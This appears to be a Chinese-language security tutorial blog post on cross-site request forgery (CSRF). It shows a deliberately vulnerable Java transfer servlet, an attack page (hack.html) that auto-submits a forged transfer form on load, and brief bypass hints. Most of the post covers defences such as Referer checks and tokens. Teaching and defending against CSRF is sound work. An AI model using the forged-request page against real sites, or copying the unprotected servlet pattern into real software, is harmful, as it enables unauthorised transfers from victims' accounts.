CSRF(Cross-site request forgery)
阿新 • • 發佈:2018-11-11
CSRF
什麼是CSRF
CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。
利用方法
index.jsp
<html> <head> <title>CSRF Test</title> </head> <body> <form method="get" action="/Transfer"> 請輸入轉賬目標:<input type="text" name="target"> 請輸入轉賬金額:<input type="text" name="money"> <input type="submit" value="提交"> </form> </body> </html>
TransferServlet
@WebServlet("/Transfer") public class TransferServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String target = request.getParameter("target"); String money = request.getParameter("money"); PrintWriter writer = response.getWriter(); writer.println("target:"+target+",money:"+money); } }
hack.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>csrf hack</title> <script> window.onload=function(){ document.getElementById("form").submit(); } </script> </head> <body> <form method="get" action="/Transfer" id="form"> <input type="text" name="target" value="sh0rk"> <input type="text" name="money" value="10086"> <input type="submit" value="提交"> </form> </body> </html>
正常流程如下:
輸入轉賬賬戶和金額進行轉賬
轉賬成功
但是如果直接訪問工作者偽造的網址則直接轉賬成功
通過以上例子,攻擊者通過構造請求包,誘導使用者點選導致直接轉賬成功。
這個例子中沒有用到cookie判斷使用者身份,因為cookie對於csrf相當於不存在的,瀏覽器會自己提交cookie上去進行身份驗證。我們登陸網站後,網站會給我們個cookie,當用戶對網站進行操作的時候,瀏覽器會直接帶上當前網站的cookie,但是如果該網站存在csrf,攻擊者構造了請求,當你點選後,瀏覽器也會帶上目標網站的cookie。
進階
- referer 繞過:可以構建一個host相同的資料夾
- CSRF Token繞過:結合xss
防禦
想要防禦csrf就要想辦法讓攻擊者構造不了所有的引數。
- 驗證 HTTP Referer 欄位
- 概念:驗證referer請求是否來自自己網站 的請求,不是則拒絕該請求。
- 方法:只需要在最後給所有安全敏感的請求統一增加一個攔截器來檢查 Referer 的值就可以
- 缺點:
- Referer 的值是由瀏覽器提供的,雖然 HTTP 協議上有明確的要求,但是每個瀏覽器對於Referer 的具體實現可能有差別,並不能保證瀏覽器自身沒有安全漏洞
- referer會記錄下使用者的訪問來源,使用者可以設定不發生referer,導致拒絕合法使用者的訪問
- 在請求地址中新增 token 並驗證
- 概念: 要抵禦 CSRF,關鍵在於在請求中放入黑客所不能偽造的資訊,並且該資訊不存在於 cookie 之中
- 方法: 可以在 HTTP 請求中以引數的形式加入一個隨機產生的 token,並在伺服器端建立一個攔截器來驗證這個 token,如果請求中沒有 token 或者 token 內容不正確,則認為可能是 CSRF 攻擊而拒絕該請求。
- 缺點:
- 麻煩,容易忽略,所以通常使用的方法就是在每次頁面載入時,使用 javascript 遍歷整個 dom 樹,對於 dom 中所有的 a 和 form 標籤後加入 token, 這樣可以解決大部分的請求,但是對於在頁面載入之後動態生成的 html 程式碼,這種方法就沒有作用,還需要程式設計師在編碼時手動新增 token
- 黑客可以在自己的網站上得到這個 token,並馬上就可以發動 CSRF 攻擊, 為了避免這一點,系統可以在新增 token 的時候增加一個判斷,如果這個連結是鏈到自己本站的,就在後面新增 token,如果是通向外網則不加。不過,即使這個 csrftoken 不以引數的形式附加在請求之中,黑客的網站也同樣可以通過 Referer 來得到這個 token 值以發動 CSRF 攻擊。這也是一些使用者喜歡手動關閉瀏覽器 Referer 功能的原因。
- 在 HTTP 頭中自定義屬性並驗證
- 概念: 這種方法也是使用 token 並進行驗證,和上一種方法不同的是,這裡並不是把 token 以引數的形式置於 HTTP 請求之中,而是把它放到 HTTP 頭中自定義的屬性裡
- 方法: 通過 XMLHttpRequest 這個類,可以一次性給所有該類請求加上 csrftoken 這個 HTTP 頭屬性,並把 token 值放入其中。
- 缺點:
- 侷限性非常大。XMLHttpRequest 請求通常用於 Ajax 方法中對於頁面區域性的非同步重新整理,並非所有的請求都適合用這個類來發起,而且通過該類請求得到的頁面不能被瀏覽器所記錄下 ,從而進行前進,後退,重新整理,收藏等操作,給使用者帶來不便。